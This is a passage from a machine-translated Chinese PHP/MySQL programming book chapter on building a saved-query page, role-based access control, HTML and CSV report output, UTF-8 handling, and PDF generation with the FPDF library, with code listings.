- 密码需要是强有力的,并且经过加盐和散列处理。
- 如果安全性很重要,应该使用双因素身份验证。
- 您可以轻松地保护您的应用免受 SQL 注入、跨站点脚本、跨站点请求伪造和点击劫持的攻击,但无法抵御反向 CSS。
- 一个包含每个字段类型的方法的
Form
类提供了安全性和编码便利性。 - 一个
Security
类实现了底层的安全机制。 - 实施双因素身份认证非常简单,既可以通过短信/语音发送代码,也可以使用 YubiKey 等设备。
- 错误消息通常会告诉用户哪里出了问题,但是用户想知道该怎么做。`
七、报告和其他输出
给你的程序员留些余地。告诉他(一)结果你一定有;(b)您希望获得的结果,如果每次运行额外收费不超过 25 美元;以及(c)如果可以在没有额外运行时间成本的情况下获得结果,那么这些结果将是方便的。(这往往是可能的。)
理查德·v·安德里,编程 IBM 650 磁鼓计算机和数据处理机,1958 年
正如我在第四章中所说,数据库是现实的部分模型,应用的 CRUD 部分(第五章和第六章)主要用于保持模型与现实同步。但是为了让您的应用发挥更大的作用,您必须从中获得一些输出,要么是报告,要么是其他输出,比如套用信函。
由于您的报告成本远低于 IBM 650(按 2013 年美元计算为 1600 美元/小时),您可以获得“您想要的结果”和“方便的结果”。如何做到这一点是本章的主题。
作为报告的查询
您可能会认为 SQL select
语句本身就是一个报告。例如,如果你想知道有多少 Front Range Butterfly Club 成员拥有各自的专长,你可以在终端窗口中启动mysql
命令,然后用一条语句得到报告。
mysql> select name, count(specialty_id) as count
-> from member join specialty using (specialty_id)
-> group by specialty_id order by name;
+----------------+-------+
| name | count |
+----------------+-------+
| brush-foots | 19 |
| gossamer-wings | 27 |
| sulphurs | 25 |
| swallowtails | 18 |
| whites | 25 |
+----------------+-------+
事实上,像这样的快速和肮脏的报告是非常有用的。我刚刚检查并发现世界事务会议(CWA)应用定义了 113 个这样的小报告。它们被办公室工作人员用于诸如“2013 捐赠阿尔法无计划年”和“版主 w/联系信息”之类的事情
CWA 办公室没有人使用mysql
命令,甚至不知道它的存在。相反,我创建了一个应用页面来编辑、保存和运行查询,助理协调员已经理解了 SQL 并开始使用它。我可能创建了三分之一的查询,而她创建了其余的。
图 7-1 显示了蝴蝶俱乐部查询页面,基于我为 CWA 创建的页面。
图 7-1 。查询页面
要创建一个查询,您需要输入它的标题和 SQL,然后单击 Save。正如您在图的底部看到的,所有的查询都被列出来了。当您单击查询旁边的“编辑”按钮时,它的列会加载到表单中进行编辑。要运行查询,您可以单击它旁边的运行按钮,或者在表单上保存并运行。您还可以删除一个查询,或者为新的查询获取一个空白表单。
Category 字段将查询分配到一个类别,只是为查询列表提供一些分组。
显然,这个页面遭受了极端形式的 SQL 注入,因为数据实际上是 SQL。有两种保护措施:(1)代码只允许将select
语句保存为查询;(2)有一个权限系统,如权限下拉菜单所示,我将在“基于角色的访问控制”一节中解释(这不是真正的 SQL 注入,因为这是将 SQL 注入到一个不期望的字段中;查询字段是期望 SQL 的。)
当你运行一个查询时,它的输出直接出现在页面上,在表单下,在一个有滚动条的分区中,如图 7-2 所示。
图 7-2 。显示运行查询结果的查询页面
正如您所猜测的,查询页面由一个query
表支持,如 MySQL Workbench 中的图 7-3 所示。
图 7-3 。查询表
由于我已经展示了许多使用Page
类的应用页面的例子,我将不在本章和下一章展示所有的代码,而只展示重点,这里的第一个是查询表单,如清单 7-1 所示。
清单 7-1 。查询表单
protected function show_form($data = null, $run = false) {
if (empty($data['category']))
$data['category'] = 'General';
$f = new Form();
$f->start($data);
if (isset($data['query_id']))
$f->hidden('query_id', $data['query_id']);
$f->text('title', 'Query Title:', 70, 'query title');
$f->textarea('query', 'Query:', 80, 3);
$f->text('category', 'Category:', 30, 'category');
$f->menu('permission', 'Permission:',
$this->ac->get_permissions(), false, 'query');
$f->button('action_save', 'Save');
$f->button('action_save_run', 'Save & Run', false);
$f->hspace(30);
$f->button('action_new', 'New', false);
$f->end();
if ($run && isset($data['query']))
if (stripos($data['query'], 'file ') === 0)
$this->message("Can't run file reports here");
else
$this->run($data['title'], $data['query']);
echo "<p style='margin-top:20px;'>";
$this->query_list();
}
注意方法Form::textarea
,我在第六章没有展示。这是对Form
类的一个非常简单的添加。
function textarea($fld, $label = null, $cols = 100,
$rows = 5, $readonly = false) {
$this->label($fld, $label, true);
$v = isset($this->vals[$fld]) ?
htmlspecial($this->vals[$fld]) : '';
echo "<br><textarea id=$fld name=$fld cols=$cols
rows=$rows>$v</textarea>";
}
当你需要新的东西时,你会想加入到Form
类中,就像我一样。
权限下拉菜单由返回所有可能权限的表达式填充
$this->ac->get_permissions()
它调用下一节描述的Access
类的方法。
在清单的底部附近,您会看到查询页面没有运行“文件报告 s”,这是一种我将在本章末尾的“通用报告页面”一节中介绍的报告它通过调用MyPage::run
方法来运行 SQL 查询报告,这几乎不需要任何代码,因为所有的工作都是由一个Report
类完成的,我将在“报告类:HTML 和 CSV 输出”一节中展示这个类
protected function run($title, $sql) {
echo '<div class=run>';
$stmt = $this->db->query($sql);
$r = new Report();
$r->html($title, $stmt);
echo '</div>';
}
正如你所猜测的,Report::html
方法将 HTML 直接输出到页面上,在run
类的div
中,CSS 限制了它的高度并允许它滚动。
.run {
overflow: auto;
max-height: 200px;
width: 600px;
border: 1px solid;
padding: 5px;
}
这个和其他一些我不会展示的 CSS 都是在实现查询页面的query.php
文件中定义的,因为它们是特定于这个页面的。您也可以将 CSS 放在应用范围的page.css
文件中,该文件由Page
类包含在每个页面中,但是我更喜欢将专门的 CSS 本地化。这个页面还定义了一些 JavaScript 函数,我将在清单 7-3 中展示。
最后,清单 7-1 中MyPage::show_form
方法的最后一行调用MyPage::query_list
,它按类别列出查询,如清单 7-2 所示。
清单 7-2 。MyPage::query_list
方法
function query_list() {
$stmt = $this->db->query('select * from query
order by category, title');
$cat = null;
while ($row = $stmt->fetch()) {
if ($cat != $row['category']) {
if (!is_null($cat))
echo "</table>";
echo "<h2>{$row['category']}</h2>";
echo "<table class=query-table>";
$cat = $row['category'];
}
echo "<tr>";
echo "<td nowrap valign=top>";
echo "<button type=button class=button onclick=
'RunQuery(\"{$row['query_id']}\")'>Run</button>";
echo "<button type=button class=button onclick=
'EditQuery(\"{$row['query_id']}\")'>Edit</button>";
echo "<button type=button class=button onclick=
'DeleteQuery(\"{$row['query_id']}\",
\"{$row['title']}\")'>Delete</button>";
$t = htmlspecial($row['title']);
$q = htmlspecial($row['query']);
echo "<td width=100% valign=top>
<p class=name>$t<p class=query>$q";
}
echo "</table>";
}
这个函数没有什么特别的。我只说两点。首先,标题和查询都被htmlspecial
(它调用htmlspecialchars
)过滤,因为所有源自用户的内容都必须被过滤,以防止 XSS 攻击。
第二点是每个查询旁边的三个按钮在被点击时会启动 JavaScript 函数,如清单 7-3 所示。正如我提到的,它们出现在这个文件中,而不是应用范围的page.js
文件中。
清单 7-3 。查询 JavaScript 函数
function DeleteQuery(pk, name) {
if (confirm('Delete query "' + name + '"?'))
transfer('query.php', {'action_delete': 1, 'pk': pk});
}
function RunQuery(pk) {
transfer('query.php', {'action_run': 1, 'pk': pk});
}
function EditQuery(pk) {
transfer('query.php', {'action_edit': 1, 'pk': pk});
}
DeleteQuery
需要主键(query_id
)和名称,以便在confirm
对话框中使用。其他的只需要主键。如果你想回顾这三个动作方法,你可以在 Apress 网站的源代码/下载区找到它们,但是我可以告诉你,它们确实如你所料。
基于角色的访问控制
我刚才展示的这种查询工具带来了一个问题:不是每个用户都应该能够访问整个数据库。应该只有某些用户能够定义和/或运行查询。只要应用的功能有限,区别用户就无关紧要,就像 Front Range Butterfly Club 的会员和专业页面一样,但是现在应用变得越来越复杂。
我在第六章中描述的安全防御可以有效地将野蛮人挡在门外。现在需要的是一种让受邀嘉宾保持一致的方法。需要有一种方法来限制用户只能访问应用中他们应该访问的部分。
一种简单而灵活的控制用户访问权限的方法是基于角色的访问控制 (RBAC)。角色是可以分配给用户的工作职能或职责范围。每个角色包含一个或多个权限,这些权限是对访问系统资源、执行操作、访问部分数据库或对应用有意义的任何事情的批准。例如,假设权限member-view
允许查看成员数据(包括运行某些报告),权限member-edit
允许更新成员数据。那么角色member-maintenance
可以被定义为包含这两个权限。用户 Jack 和 Sally 的工作是维护成员数据,可以赋予他们角色member-maintenance
,这将允许他们完成自己的工作。另一个角色,比如说event-coordinator
,可能会被剥夺,这将阻止他们增加或修改俱乐部活动。活动委员会主席 Tom 拥有event-coordinator
角色,但没有member-maintenance
角色。
为了避免相关权限差别很小的角色激增,用户可以拥有多个角色。俱乐部秘书可能有member-maintenance
角色、event-coordinator role
和其他一些角色。
如果进行成员维护的用户需要额外的权限,他们只需添加到成员维护角色的定义中。不需要对用户本身做任何事情,因为他们与角色相关,而不是与权限相关。
如果你感兴趣,有一个 RBAC 的 ANSI 标准,ANSI INCITS 359-2004。你可以在csrc.nist.gov/groups/SNS/rbac
找到更多关于 RBAC 和标准的信息。
我将暂时离开主题,展示如何在您的应用中实现 RBAC,然后我将回到实现查询和报告。据我所知,我在这里所做的符合 ANSI 标准“核心 RBAC”
MySQL 中的 RBAC
MySQL 使用一个特权系统,如“更改”、“创建视图”和“更新”,来控制给定用户可以做什么。您可以将其视为 RBAC 的用户和权限部分(没有角色),用户和权限之间存在多对多的关系。特权可以与整个数据库相关联,也可以与特定的表甚至列相关联。
MySQL Workbench 确实允许您定义与权限(特权)相关联的角色(图 4-18 ),并将一个或多个角色分配给用户,但这些角色只是 MySQL Workbench 内置的一种便利,而不是 MySQL 本身的一个功能,它只处理特权。
正如我在第四章中所说的,MySQL 特权对于限制应用用户只能查看和编辑数据是有用的——不改变数据库模式——但是它们不适合定义应用角色,因为将应用操作映射到特定的表和列太繁琐了,而且让每个应用用户都成为数据库用户也不现实。在应用中实现 RBAC 要好得多。我只定义了两个 MySQL 用户:一个可以做任何事情的管理用户,和一个应用本身连接的应用用户。应用从不作为管理用户连接;只有 MySQL Workbench 和mysql
命令可以。
RBAC 数据库表
作为应用开发人员,您应该实现 RBAC 机制,并将权限与应用的各个部分相关联,但是策略—角色的定义及其对用户的分配——应该由应用管理员决定,也就是控制谁可以成为用户的人。
RBAC 的实现非常简单。角色和权限只是字符串,定义在两个各有一列的表中,如图图 7-4 所示。请注意,这两个表都有自然主键。
图 7-4 。权限和角色表
RBAC 的灵活性来自于两种多对多的关系:通过user_role
表从用户到角色,通过role_permission
表从角色到权限,如图图 7-5 所示。
图 7-5 。用户角色和角色权限表
首先,用一个admin
权限初始化permission
表,用一个admin
角色初始化role
表,用一行将两者关联起来的role_permission
表,用一行将该角色赋予管理用户的user_role
表。这是必要的,因为操纵 RBAC 机制本身的各种页面需要被限制给管理员,这可以通过将它们限制到admin
权限来实现。在访问这些页面之前,您需要进行初始化。您可以编写一个 PHP 页面来执行初始化,或者,因为它只需要做一次,只需用 MySQL Workbench 就可以了。
两个应用页面(本身需要admin
权限)维护permission
、role
和role_permission
表,如图图 7-6 和 7-7 所示。我不会展示这些页面的 PHP 代码,因为没有什么是我没有展示过的,但是你可以在 Apress 网站(www.apress.com
)的源代码/下载区找到它。
图 7-6 。许可页面
图 7-7 。角色页面
作为开发人员,您根据需要定义权限,将它们添加到permission
表中。没有硬性规定,但通常你希望每个应用页面(会员、专业、捐赠等。)拥有自己的权限。为查询分配额外的独有权限。如果您愿意,并且如果应用证明了这一点,您甚至可以得到更细粒度的服务。您拥有的独特权限越多,应用管理员就越能根据自己的需要定制角色。然而,权限太多,管理员很难理解每个权限的含义。
通常,只有 PHP 开发人员和任何被允许定义查询的人可以更新permission
表。也就是说,因为权限与应用资源或操作相关联,所以只有那些可以添加资源或操作的人需要能够定义权限。我将很快展示应用实际上是如何实施权限的;现在,只需将每个权限视为一个由唯一字符串表示的抽象。
我已经在第六章中详细描述了user
表,所以除了更新role
和role_permission
表的页面之外,应用管理员需要的是一种向用户分配角色的方法,从而导致user_role
表被更新。
向用户分配角色的一个好方法是简单地将选项添加到应用管理员可以访问的用户页面。这不同于用户用来更新他或她的个人数据(姓名、地址、电子邮件等)的帐户页面。).图 7-8 显示了这样一个用户。因为很难准确记住每个角色做什么,所以页面在底部显示实际的权限,这是由一个连接user_role
和role_permission
表的简单查询产生的。(因为permission
是一个自然主键,所以没有必要也连接到permission
表,因为实际的权限字符串直接出现在role_permission
表中。)
图 7-8 。管理员访问用户表
概括一下谁做什么:权限是由应用开发人员和任何可以创建或修改查询的人定义的。应用管理员定义角色并将角色与用户相关联。
用访问类实现 RBAC
我已经展示了如何管理与 RBAC 相关的数据库表。现在我将展示如何实现一个Access
类来控制对与权限相关的任何资源或操作的访问。
Page
类实例化一个单独的Access
对象,下面一行添加到页面构造函数的末尾,如清单 5-22 (也在这里,在清单 7-5 )所示:
$this->ac = new Access($this->db);
传入了对DbAccess
对象的引用,因此Access
实例不必实例化自己的实例。
当用户登录时,他或她的权限通过清单 7-4 中的Access::load_permissions
方法存储在$_SESSION
数组中。
清单 7-4 。访问构造函数和 Access::load_permissions 方法
class Access {
protected $db;
function __construct($db) {
$this->db = $db;
}
function load_permissions() {
if (isset($_SESSION)) {
$_SESSION['permissions'] = array();
$stmt = $this->db->query('select permission from
user_role join role_permission using (role)
where userid = :userid',
array('userid' => $_SESSION['userid']));
while ($row = $stmt->fetch())
$_SESSION['permissions'][$row['permission']] = 1;
}
}
...
}
对Access::load_permissions
的调用是在Page::login_phase2
的结尾,我在第六章中展示过。这是修改后的版本。
protected function login_phase2() {
$_SESSION['userid'] = $_SESSION['userid_pending'];
unset($_SESSION['userid_pending']);
$this->ac->load_permissions();
}
如果用户的角色或与角色相关联的权限发生更改,用户必须再次登录以更新其权限。
您可以使用方法Access::has_permission
在应用中的任何地方加入权限检查,该方法只检查$_SESSION
数组。
function has_permission($permission) {
return isset($_SESSION['permissions']['admin']) ||
isset($_SESSION['permissions'][$permission]);
}
每次定义新权限都要更新admin
角色,太麻烦了,所以任何拥有admin
权限的用户都自动被赋予所有权限。否则,作为参数给出的特定权限必须在$_SESSION['permissions']
数组中。
例如,在成员表单中,您可能需要编辑成员数据的member-edit
权限,但只需要查看成员数据的member-view
权限。一种快速的方法是不显示保存按钮,除非用户有适当的权限(只显示部分表单代码)。
...
$f->date('since', 'Member Since:', false);
if ($this->ac->has_permission('member-edit'))
$f->button('action_save', 'Save');
$f->end();
记住,作为应用开发人员,您所要做的就是定义权限member-edit
(如果还没有定义的话),然后放入代码来检查它,如图所示。角色及其与权限和用户的关联完全取决于应用管理员,在开发应用时,您根本不必处理这些事情。这只是 RBAC 使用起来如此方便的原因之一。
通常,您会发现您需要的权限粒度可以通过将权限与每个页面相关联来实现。这很容易处理,通过添加另一个参数,一个字符串或数组,到清单 5-22 中显示的Page
构造函数。修改后的构造函数在清单 7-5 中。
清单 7-5 。修订的页面构造函数
class Page {
protected $title, $want_session, $permissions, $db, $incl_dir, $error;
function __construct($title, $want_session = true,
$permissions = null, $incl_dir = 'incl') {
$this->title = $title;
$this->want_session = $want_session;
$this->permissions = $permissions;
$this->db = new DbAccess();
$this->incl_dir = $incl_dir;
$this->error = new Error();
$this->ac = new Access($this->db);
}
...
}
例如,MyPage
的成员页面实例化现在看起来如下:
$page = new MyPage('Member', true,
array('member-edit', 'member-view'));
另一个例子:我在本章开始时展示的查询页面被实例化为
$page = new MyPage('Queries', true, 'query');
因此,用户需要query
权限来创建或运行查询。应用管理员可能会实现并分配一个角色,将query
权限限制在很少的几个用户,因为查询允许访问数据库中的任何数据,但不能修改。
存储了所需的权限后,方法Page::go
只需要一行额外的代码来检查它们,如果用户没有所需的权限,就抛出一个异常。
$this->ac->check_permissions($this->permissions);
清单 7-6 中的给出了Access::check_permissions
的实现。同样,admin
权限导致检查成功。否则,参数给出的每个权限都必须在$_SESSION['permissions']
数组中。
清单 7-6 。access::check _ permission 方法
function check_permissions($permissions) {
if (isset($_SESSION['permissions']['admin']))
return;
if (isset($permissions)) {
if (!is_array($permissions))
$permissions = array($permissions);
foreach ($permissions as $p)
if (empty($_SESSION['permissions'][$p]))
throw new \Exception("You don't have permission
to access this page");
}
}
访问层级
这就是实现 RBAC 所需要的一切。一些表单允许应用管理员建立角色,并且只需几行代码就可以将权限与应用中需要保护的每个部分相关联。
现在,从大到小回顾一下 access 的整个层次结构是很有用的。
- 服务器超级用户(root)登录是最强大的一种访问。
- 通过 SFTP(安全文件传输协议)的文件更新访问允许任何程序文件被修改。
- 数据库管理访问允许完全的数据库权限,包括创建或删除表或其他对象,以及查看或修改任何数据。(参见第四章中的“数据库安全”一节。)
- 数据库应用访问允许查看或修改数据,这是应用通常使用的。
- 用户可以登录系统。
- 已登录的用户被分配到角色,这些角色将他们限制到某些权限。
层次结构中的每一级都提供较低级别的所有特权。例如,超级用户可以读写所有文件,包括 PHP 或其他程序,甚至可以更改服务器软件。SFTP 登录允许访问数据库,因为程序可以读取和显示数据库登录和密码。具有应用访问权限的数据库用户可以修改user
、role
和permission
表。
在“通用报告页面”一节中,我将使用 RBAC 系统实现一个报告页面,该页面自动限制用户只能运行他们有权运行的报告。如果没有 RBAC,这种级别的控制将必须由应用代码本身来执行,这将是一个维护的噩梦,因为用户总是来来去去。有了 RBAC,这完全不成问题,尤其是因为实施策略是应用管理员的责任,而不是开发人员。
报表类 : HTML 和 CSV 输出
现在回到我打开这一章的查询页面。回想一下,它为自己调用了DbAcess::query
,但是随后将结果PDOStatement
传递给了Report::html
,后者获取这些行并将它们格式化为 HTML:
$r = new Report();
$r->html($title, $stmt);
另外两个报告目的地也很有用。
- 逗号分隔值(CSV) 文件,可由任何电子表格应用和大多数数据库、邮件合并工具等读取,以及
- PDF,适合直接显示、传输到电子阅读器或打印。
Report::csv
和Report::pdf
方法处理这些输出目的地。我将在这一部分解释第一个,在我解释了如何从 PHP 程序中编写 pdf 之后再解释Report::pdf
。
报表::html 方法
清单 7-7 展示了Report::html
是如何工作的。您从一个查询中传入报告标题和PDOStatement
,并可选地传入一组列标题。如果不提供标题,该方法将使用列名本身。获取行并将列值放入 HTML table
非常简单,特别容易,因为浏览器会完成计算表格列宽度的所有困难工作。
清单 7-7 。Report::html
方法
class Report {
function html($title, $stmt, $headings = null) {
$ncols = $stmt->columnCount();
if (is_null($headings))
for ($i = 0; $i < $ncols; $i++) {
$meta = $stmt->getColumnMeta($i);
$headings[] = $meta['name'];
}
echo "<p style='font-weight: bold;'>$title</p>";
echo "<table border=1 cellpadding=5 cellspacing=0
style='border-collapse: collapse;'>";
echo "<tr>";
foreach ($headings as $h)
echo "<th>" . htmlspecial($h);
while ($row = $stmt->fetch()) {
echo "<tr>";
foreach ($row as $v)
echo "<td>" . htmlspecial($v);
}
echo "</table>";
}
...
}
关于字符集
到目前为止,我已经确保数据库和所有表单都处理 UTF-8 字符集,您可能已经注意到了指定该字符集的各种属性,比如在这个 HTML 中启动一个表单。
<form action=query.php method=post accept-charset=UTF-8>
众所周知,用所谓的拉丁字符集(如 ISO-8859-1)编码的 8 位(单字节)字符只能处理少数非英语字符。有两种方法可以处理所有常用的国际字符:宽字符,通常是 16 位(两个字节),或多字节字符,每个字符从 1 到 4 个字节不等。最流行的多字节编码是 UTF-8,这是 PHP/MySQL 应用应该使用的。
除了记住 UTF-8 字符不一定只有一个字节的宽度,你很少需要知道关于它的任何其他事情。特别是,实际使用的编码对大多数 PHP 应用来说并不重要,因为除了偶尔寻找单字节标点符号之外,很少处理单个字符。
例如,假设您要在逗号上拆分一个 UTF 8 编码的姓名,该逗号用于分隔姓和名,如“rner,MnS”您可以逐字节扫描字符,即使其中一些字节是多字节字符的一部分,也要查找逗号。逗号由单个字节表示,其他字节(甚至是多字节字符的一部分)都没有该值,因此逗号的位置是正确的。逗号前的字节正确构成“rner”,逗号后的字节正确构成“MnS”所以,大多数时候使用 UTF-8 字符串的 PHP 程序员甚至没有意识到这一点。
问题不在于单个角色;这是通过 UTF-8 字符串周围没有得到他们的破坏。如果您为每个表和 PDO 界面指定 UTF-8,MySQL 就很好,网页也是如此。问题是输出 CSV 文件和 pdf 文件,这就是为什么我直到现在才打扰你。
对于 CSV 来说,用 UTF-8 写它们很容易,而且,如果你不做任何特别的事情,那就会发生。更确切地说,问题是微软 Excel,CSV 最受欢迎的目标,不能处理 UTF-8。(在其“获取外部数据”对话框中有一个“Unicode 6.1 UTF-8”选项,但它用下划线替换了它不理解的国际字符。)
你可以接受 Excel 对 UTF-8 的处理,或者把 UTF-8 转换成 Excel 能处理的东西,也就是说选择一种特定的 8 位编码。由于你通常不知道 UTF-8 字符串是什么语言(CWA 得到了来自世界各地的小组成员),没有 8 位编码将工作。例如,如果您知道所有的 UTF-8 字符串都是匈牙利语,您可以选择 ISO 8859-2 语,但您很少遇到这种情况。(我将在下一节展示如何以及在哪里进行转换。)
另一种选择是不使用 Excel。其他电子表格,如 Apple Numbers 或 Apache OpenOffice,可以很好地处理 UTF-8(一个便宜,另一个免费)。
报告::csv 方法
在清单 7-8 中显示的Report::csv
,与Report::html
非常相似,但是有两个关键的区别:它必须将其输出写到一个文件中,并为用户提供下载它的方法,它必须处理字符集转换问题。
清单 7-8 。Report::csv
方法
function csv($stmt, $convertUTF8 = false) {
$dir = 'output';
$output_file = "$dir/" . date('Y-m-d') . '-' .
uniqid() . '.csv';
$output = fopen($output_file, "w");
$ncols = $stmt->columnCount();
for ($i = 0; $i < $ncols; $i++) {
$meta = $stmt->getColumnMeta($i);
$headings[] = $meta['name'];
}
$have_header = false;
while ($row = $stmt->fetch()) {
if (!$have_header) {
fputcsv($output, array_keys($row));
$have_header = true;
}
if ($convertUTF8) {
$r = array();
foreach ($row as $v)
$r[] = iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $v);
fputcsv($output, $r);
}
else
fputcsv($output, $row);
}
fclose($output);
echo "<p>File to download:
<a href='$output_file'><b>$output_file</b></a>";
echo "<p>(Control-click or right-click and choose
\"Save Link As...\", \"Download Linked File\",
or equivalent.)";
}
如果调用者需要的话,转换是由行来处理的
$r[] = iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $v);
ISO-8859-1//TRANSLIT
表示 UTF-8 字符被转换为 ISO-8859-1,没有映射到任何内容的字符被其他字符替换,并且您无法控制这种替换。结果文件将是纯 8 位 ISO-8859-1,因此任何接收应用都可以导入它,即使它不如 Excel 宽容,它至少可以用下划线代替它不知道的字符。
输出文件被写入目录output
。该目录和其中的文件将只由 web 服务器写入,因此只有该用户需要具有读或写权限。尽管如此,只有请求 CSV 文件的用户才能访问它,所以它的名称包含了一个由 PHP 函数uniqid
返回的惟一 id。这产生了如图图 7-9 所示的路径;用户可以通过点击链接来下载文件,然后在本地做他或她想做的任何事情。在服务器上一点用都没有。服务器管理员有时会想要删除旧文件,这不会自动发生。
图 7-9 。Report::csv 方法的 HTML 输出
查询页面不使用Report::csv
;一个更复杂的报告页面,我将在“通用报告页面”一节中展示。(这就是示例输出的来源。)
如果你不知道,这是一个 CSV 文件(来自 CWA 数据库)的样子。
3203,2006-04-12,10:30:00,12:00:00,"China on the Brink"
3300,2006-04-12,11:00:00,12:30:00,"Small Town vs. Big City Careers"
3302,2006-04-12,11:00:00,12:30:00,"The Healing Power of Story"
3304,2006-04-12,11:30:00,13:30:00,"Party of Poets"
3400,2006-04-12,12:00:00,13:00:00,"Metro Children Matter"
从 PHP 生成 pdf
与运行在 Mac OS、Windows 或 Linux 系统上的本地应用不同,运行在服务器上的 PHP/MySQL 应用不能直接访问打印机。相反,他们生成一个 PDF,可以下载(像 CSV 文件)和打印,或以许多其他方式使用。例如,几乎所有的电子阅读器都可以浏览 pdf 文件。
HTML 页面也可以打印,甚至可以在电子阅读器上浏览,但是,由于没有对页面布局的精确控制,结果将是随意的。
关于 PDF 和 PDF 库
PDF 代表“可移植文档格式 ”,尽管每个人都知道它们是 PDF。它们是 Adobe 在 20 世纪 90 年代早期发明的,目的是将 Adobe 大约十年前发明的页面布局语言 PostScript 的一个子集合并到一种可以通过电子邮件发送、存储在磁盘上,当然还可以打印的文件格式中。随着时间的推移,pdf 已经发展到不仅仅是记录页面布局;它们可以包括表单、执行工作流规则,甚至运行 JavaScript。
完整的 pdf 包含了 Adobe 为其设计的所有功能,当然可以用 PHP 程序编写,但要做到这一点,你需要一个功能完整的库。最明显的方法是使用标准的 PDF 扩展,它与第三方库 PDFlib 接口。服务器版本的价格高达 1100 美元。我没用过 PDFlib,不能说有多全;当然,它处理页面布局部分,这是一个报告所需要的。以他们收取的价格,我希望它能做得更多。
实际上,生成 PDF 并不困难,因为它只是嵌入在定义良好的文件结构中的 PostScript。抱着这个简单的想法,Olivier Plathey 开发了完全免费的 FPDF 库,完全用 PHP 编写,只用了大约 1800 行代码。许可证上写着:“你可以自由地将它嵌入到你的应用中(商业或非商业),修改与否都可以。”你可能会认为,与昂贵的 PDFlib 相比,FPDF 是相当有限的,但是,对于页面布局,你就错了。事实上,如果有的话,PHP/MySQL 应用需要做的事情几乎没有一件是 FPDF 不能处理的。
另一个免费的库,TCPDF,是 FPDF 的扩展,大部分是向上兼容的。对于这两个库都可以做的事情,TCPDF 运行速度慢 7 到 10 倍,包含的 PHP 代码多 25 倍,所以 FPDF 肯定是你想要的。如果在某个时候你决定你需要 TCPDF,你可以从 FPDF 转移到它,只需要几个小时就可以解决两者之间的一些不兼容问题。
事实上,我发现 TCPDF 相对于 FPDF 的大多数增强特性也可以由后者提供,只需添加在fpdf.org
网站上的脚本。它比这更深入:添加到 TCPDF 中的许多特性都是基于这些脚本的,在源代码中应该归功于脚本的作者。这是从 FPDF 开始并根据需要添加来自fpdf.org
的脚本的更强有力的理由,这正是 TCPDF 的开发者 Nicola Asuni 所做的。(自那以后,他走得更远了。)
我第一次发现 FPDF 是在我负责从为 Richardson(德克萨斯)学区开发的 Rgrade 应用中输出成绩单的时候。学区不想为商业库买单,所以我试着去了 FPDF。由于它只有 1800 行代码,我认为它只是一个真正库的 PHP 接口,显然是用 C++或其他工业级语言编写的。奇怪的是,我很好地输出了我的 pdf,但是我没有下载或安装它调用的核心库。惊喜!没有这样的库——FPDF 是独立的。当我更多地思考 pdf 是什么的时候(我在 80 年代学过 PostScript),一切都有了意义。一个罕见的少给(更确切地说是少给)和多给的例子。
自从升级以来,我已经在几个应用中使用了 FPDF,取得了巨大的成功。这是为数不多的从未给我带来麻烦的第三方库之一,主要是因为 Olivier Plathey 不管它。他不时更新网站并回答用户的问题,但他已经两年没有更改主文件了,上一次更改是在那之前的三年。当你做对了,要做的就是停下来。
一个简单的 FPDF 例子
关于 FPDF 的文档非常少,我在 2012 年想到,这样一个伟大的库应该有一本关于它的书,所以我写了一本,叫做用 PHP 和 FPDF 生成 PDF(和 TCPDF) ,你可以在亚马逊上找到这本书的电子书。在你现在正在阅读的书中,我将简要介绍你如何使用 FPDF,这将帮助你以fpdf.org
. I’ll also explain all the FPDF functions that I’ll be using for the
Report::pdf的方式阅读在线文档。如果你想要更多,你可以去我的 FPDF 书。
要使用 FPDF,首先用几个参数实例化
FPDF`类,告诉它您想要的方向(纵向或横向)、您想要使用的单位(毫米、磅等)。),以及页面大小,可以是名称,如“A4”或“letter”,也可以是宽度和高度维度的数组。例如,如果您想要一个法定大小的横向页面,并且想要以磅为单位工作,请执行以下操作:
$pdf = new FPDF('L', 'pt', 'legal');
再添加四行,你就有了一个完整的生成 PDF 的程序,如图 7-10 所示。
$pdf->SetFont('Times', '', 50);
$pdf->AddPage();
$pdf->Text(100, 200, 'Hello World!');
$pdf->Output();
图 7-10 。Hello-World PDF 示例的输出
第一行设置字体,这是必需的,因为没有默认值。接下来,你要开始新的一页;没有假设的新一页。然后在位置 x = 100,y = 200 (y 自上而下)写一些文本,然后将 PDF 直接输出到屏幕上,这只有在还没有写输出的情况下才起作用(像 PHP header
函数),这里就是这种情况。这是最简单的你好世界 FPDF 程序。
FPDF 绘画方法
除了文本,您还可以使用FPDF::Image
、FPDF::Line
和FPDF::Rect
方法绘制图像、线条和矩形。用FPDF::SetLineWidth
、FPDF::SetDrawColor
和FPDF::SetFillColor
设置绘图属性。
清单 7-9 显示了所有这六种方法,它们生成了如图图 7-11 所示的输出。以下是一些关于代码的注释:
- 构造函数中的页面大小是 5x 6 英寸,以磅为单位指定为尺寸的
array
,因为这是指定的单位。 - 在对
FPDF::SetDrawColor
的第一次调用中,颜色以 0 到 255 范围内的 RGB(红、绿、蓝)值给出。在对该方法和FPDF::SetFillColor
的后续调用中,给出了一个值,它设置了所有三个值——换句话说,一个灰度颜色。 - 前面提到过,原点在左上方,x 向右,y 向下。
清单 7-9 。FPDF 属性和绘制方法
$pdf = new FPDF('P', 'pt', array(5 * 72, 6 * 72));
$pdf->AddPage();
$pdf->SetLineWidth(2);
$pdf->SetDrawColor(50, 50, 50);
$pdf->SetFillColor(220);
$pdf->Rect(50, 150, 100, 100, 'DF');
$pdf->SetLineWidth(6);
$pdf->SetDrawColor(190);
$pdf->Line(30, 30, 300, 400);
$pdf->Image('incl/logo.png', 60, 160);
$pdf->Output();
图 7-11 。来自清单 7-6 的输出
我所展示的是一种制作艺术品的粗糙方法。组织代码来绘制类似蝴蝶俱乐部的信头会更有用。然后,很容易将 FPDF 呼叫与数据库查询结合起来生成套用信函。
首先是一个绘制页面的函数,清单 7-10 中的setup_page
。它没有做清单 7-9 没有做的事情,只是做了更多。顶部的一个棘手的问题是,在 FPDF 没有直接的方法来获得页面大小(在 TCPDF 中有)。作为一种变通方法,您可以将 x 位置设置为刚好在页面的右边距内(-1
参数),然后将1
添加到该位置以获得宽度。页面高度同上。
你会看到对FPDF::SetFont
的两个调用中的第二个参数是一个样式:B
、I
、BI
,或者一个空字符串。
清单 7-10 。绘制信头的功能
function setup_page($pdf, &$margin_left, &$margin_top,
&$height, &$width) {
$pdf->AddPage();
$pdf->SetX(-1);
$width = $pdf->GetX() + 1;
$pdf->SetY(-1);
$height = $pdf->GetY() + 1;
$pdf->SetFillColor(220);
